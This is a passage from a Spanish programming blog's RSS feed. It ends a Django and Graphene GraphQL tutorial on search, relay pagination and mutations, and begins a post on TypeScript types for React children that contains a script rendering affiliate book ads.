style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    anime_by_title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;List(AnimeType, title&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;String(required&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;resolve_anime_by_title&lt;/span&gt;(root, info, title):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(title__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;title)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/busquedaGraphqlParametros-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/busquedaGraphqlParametros-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Resultado de la query animeByTitle en graphql&#34; width=&#34;907&#34; height=&#34;431&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;paginacion-en-graphql-usando-relays&#34;&gt;Paginación en graphql usando relays&lt;/h2&gt;&#xA;&lt;p&gt;Para usar paginación en nuestra búsqueda necesitamos usar el objeto relay que obtenemos de graphene y crear una propiedad en la clase Meta de nuestro Type de graphql.&lt;/p&gt;&#xA;&lt;p&gt;Y un objeto que Connection con un nodo igual a nuestro tipo de graphql.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; graphene&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; relay&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; graphene_django &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; DjangoObjectType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; anime.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;AnimeType&lt;/span&gt;(DjangoObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Anime&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        interfaces &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (relay&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Node,)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fields &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;description&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;rating&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;AnimeConnection&lt;/span&gt;(relay&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Connection):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        node &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; AnimeType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Query&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    paginated_animes &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; relay&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ConnectionField(AnimeConnection)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;resolve_paginated_animes&lt;/span&gt;(root, info, &lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;kwargs):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto podremos hacer queries donde le indiquemos la cantidad de resultados que queremos. Y nos devolverá información respecto a si tenemos una página siguiente, el cursor de inicio, el cursor de final.&lt;/p&gt;&#xA;&lt;p&gt;Si estás confundido piensa en los cursores como identificadores. En el query le estamos diciendo que nos traiga los dos primeros resultados, cada uno tiene un cursor, que es como su identificador, y un nodo, el cual contiene la información que nos interesa.&lt;/p&gt;&#xA;&lt;p&gt;Además de los objetos podemos obtener información de la paginación, como el cursor de inicio, del final y si hay páginas previas o posteriores a nuestra consulta.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/GrapheneQueryRelay-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/GrapheneQueryRelay-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Paginación en graphql usando django graphene&#34; width=&#34;933&#34; height=&#34;823&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;mutaciones-graphql-con-graphene&#34;&gt;Mutaciones Graphql con graphene&lt;/h2&gt;&#xA;&lt;p&gt;Con esto ya podemos manejar la mayoría de consultas para leer información que se nos puedan ocurrir. Pero, ¿y el resto de operaciones? ¿Crear, actualizar o eliminar datos? Como ya sabes, en graphql, de estas operaciones se encargan las mutations o mutaciones.&lt;/p&gt;&#xA;&lt;p&gt;Podemos personalizar el comportamiento de nuestras mutaciones creando un nuevo objeto que herede de &lt;em&gt;Mutation&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;argumentos-y-retorno-de-una-mutation&#34;&gt;Argumentos y retorno de una mutation&lt;/h3&gt;&#xA;&lt;p&gt;Dentro de el objeto que hereda de Mutation colocaremos una clase &lt;em&gt;Arguments&lt;/em&gt;, que nos indica los argumentos que requiere nuestra mutación. En este caso he puesto todos los campos con sus respectivos tipos&lt;/p&gt;&#xA;&lt;p&gt;Los otros dos campos en el objeto se refieren a lo que retornará la mutation cuando la ejecutemos; en este caso es un objeto Anime, que corresponde a nuestro modelo; y un campo ok, para indicar que todo salió bien.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CreateAnime&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Mutation):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Arguments&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        title &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;String()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        description &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;String()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rating &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Int()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ok &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Boolean()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    anime &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Field(AnimeType)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;el-metodo-mutate&#34;&gt;El método mutate&lt;/h3&gt;&#xA;&lt;p&gt;Ahora creamos un método llamado &lt;em&gt;mutate&lt;/em&gt; dentro de esta misma clase. Este objeto recibe root, info y los argumentos que especificamos en clase &lt;em&gt;Arguments&lt;/em&gt;, dentro del método nosotros decidimos que sucede.&lt;/p&gt;&#xA;&lt;p&gt;Yo he creado un objeto anime, lo he guardado en la base de datos y he retornado la clase con el objeto &lt;em&gt;anime&lt;/em&gt; creado y la palabra &lt;em&gt;ok&lt;/em&gt; igual a True.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;CreateAnime&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Mutation):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;mutate&lt;/span&gt;(root, info, title, description, rating):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        anime &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Anime(title&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;title, description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;description, rating&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;rating)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ok &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; CreateAnime(anime&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;anime, ok&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;ok)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora que tenemos definido nuestro comportamiento creemos nuestro objeto &lt;em&gt;mutation&lt;/em&gt;, que será recibido por el &lt;em&gt;schema&lt;/em&gt;. Aprecia como todo el comportamiento viene de la clase que acabamos de crear y el objeto &lt;em&gt;Mutation&lt;/em&gt; solo establece el nombre de la mutation que usaremos en nuestra query.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# criticaAnimes/schema.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Mutation&lt;/span&gt;(graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ObjectType):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    create_anime &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; CreateAnime&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Field()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;schema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; graphene&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Schema(query&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Query, mutation&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;Mutation)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Es todo, el mutation &lt;em&gt;createAnime&lt;/em&gt; recibe los tres parámetros que le indicamos y retorna un objeto anime y la palabra ok como respuesta.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/mutationDeGraphqlEnGraphene.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-create-a-graphql-api-in-django-rapidly-using-graphene/images/mutationDeGraphqlEnGraphene.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Equivalencia entre el código de graphene y el query de Graphql.&#34; width=&#34;939&#34; height=&#34;574&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.graphene-python.org/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación de graphene&lt;/a&gt;&#xA; es bastante amplia y hay muchos temas más, yo solo te he puesto lo básico y probablemente lo que más utilices, pero date una vuelta y lee todo lo que graphene tiene para ofrecerte.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En esta entrada te explico como Graphene te permite acelerar el proceso de creación de una API de tipo GraphQL si estás usando el Framework Django, además echar mano de los modelos que ya definiste para realizar queries o mutations.&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-usar-graphql&#34;&gt;¿Por qué usar graphql?&lt;/h2&gt;&#xA;&lt;p&gt;Graphql permite integrar peticiones de múltiples fuentes en una sola llamada a la API. A diferencia de una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;API de tipo REST&lt;/a&gt;&#xA; consiste de un único endpoint al que podemos hacerle determinadas queries o consultas (definidas por nosotros mismos en un schema, sí, como esquema) y obtener una respuesta.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Qué Tipos o Types Usar Para Componentes React Con Children</title>
      <link>https://coffeebytes.dev/es/react/que-tipos-o-types-usar-para-componentes-react-con-children/</link>
      <pubDate>Tue, 19 Oct 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/react/que-tipos-o-types-usar-para-componentes-react-con-children/</guid>
      
      <category>react</category>
      
      <category>typescript</category>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Si estás dudando sobre qué tipos utilizar para los componentes de React que tienen hijos en Typescript, para que puedas heredarlos correctamente y evitar errores, entonces este es el post que necesitas leer, te explico tres enfoques diferentes que puedes guardar y utilizar como parte de tus habilidades en Typescript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es el recurso que leí para aprender algoritmos, y por lo tanto puedo recomendar. Es mucho más entendible que SICP y te enseña todo lo que necesitas saber sobre el tema, desde la complejidad hasta aproximaciones heurísticas. Consulta el resto de libros que leo y recomiendo en mi perfil.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del manual de diseño de algoritmos\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUpFoa\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del manual de diseño de algoritmos y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender todo sobre algoritmos?\&#34;},{\&#34;description\&#34;:\&#34;Seguramente ya sabes que la mayoría de entrevistas técnicas no reflejan la realidad laboral del día a día. Sin embargo, a pesar de eso, es necesario superarlas si deseas conseguir un trabajo en una empresa. Este libro trata a fondo todo lo que necesitas para superar cada una de las fases de las entrevistas laborales, incluída la parte algorítmica. Algo largo, pero muy completo, lo recomiendo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cracking the code interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741221792/cracking-the-code-interview-book_600_widryi.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41Hx5GZ\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cracking the code interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo pasar las entrevistas técnicas?\&#34;},{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  